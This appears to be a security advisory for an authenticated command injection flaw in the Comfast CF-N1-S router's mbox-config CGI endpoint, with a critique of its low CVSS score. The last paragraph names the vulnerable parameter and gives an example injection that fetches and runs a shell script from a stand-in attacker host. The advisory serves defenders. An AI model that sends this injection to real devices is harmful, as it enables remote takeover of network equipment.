Comfast CF-N1-S EUVD-2026-63479

Exploitation requires the attacker to hold low-privilege authenticated access to the Comfast CF-N1-S management interface (confirmed by PR:L in the CVSS 4.0 vector). The management CGI endpoint /cgi-bin/mbox-config must be network-reachable on the device's HTTP or HTTPS management port. The ptest_sn section of that endpoint must be accessible to the authenticated session level. No non-default configuration or special feature enablement is described as required beyond device reachability and valid credentials. The primary limiting factors are the authentication requirement (PR:L) and whether the management interface is exposed to untrusted networks - environments that restrict management interface access to a dedicated VLAN or jump host significantly reduce realistic exploitation exposure.

The published CVSS 4.0 score of 2.1 is strikingly inconsistent with the nature of this vulnerability. The vector confirms network accessibility (AV:N), low complexity (AC:L), low privileges (PR:L), and no user interaction (UI:N) - yet rates all impact metrics at Low (VC:L/VI:L/VA:L/SC:L/SI:L/SA:L), which appears to substantially understate the actual OS-level command execution impact typical of CWE-77 on embedded devices. This discrepancy should be verified against the published PoC behavior before accepting the score at face value. The E:P supplemental metric confirms a publicly available proof-of-concept, lowering the skill barrier for exploitation. The vulnerability is not in CISA KEV, and no EPSS data was provided. The PR:L requirement provides a meaningful barrier to unauthenticated opportunistic exploitation, but authenticated command injection on a network-perimeter device remains a serious operational risk. The gap between the numerically low CVSS score and the actual attack primitive warrants independent verification - defenders should not rely solely on the 2.1 score to deprioritize this finding without reviewing the PoC.

An attacker with valid low-privilege credentials to the Comfast CF-N1-S web management interface sends a crafted HTTP GET or POST request to /cgi-bin/mbox-config?method=SET&section=ptest_sn with a malicious 'sn' value containing shell metacharacters - for example, appending a semicolon followed by a command such as 'wget attacker.com/shell.sh|sh'. The sprintf call constructs a command string incorporating this unsanitized input, causing the underlying system() or popen() call to execute the injected command with device OS privileges. A public proof-of-concept PDF documenting this technique is available on GitHub, reducing exploitation skill requirements.